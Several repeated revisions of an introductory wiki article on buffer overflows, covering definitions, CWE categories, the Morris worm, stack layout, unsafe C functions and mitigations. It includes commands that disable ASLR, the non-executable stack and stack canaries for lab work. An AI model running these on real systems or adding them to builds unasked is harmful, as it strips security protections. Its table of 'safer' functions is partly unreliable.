* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:25:01Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially overwriting the return address. An attacker may overwrite the return pointer to redirect the flow of execution.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:22:09Z

AKofranek: /* Memory Layout of a Process */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:17:04Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
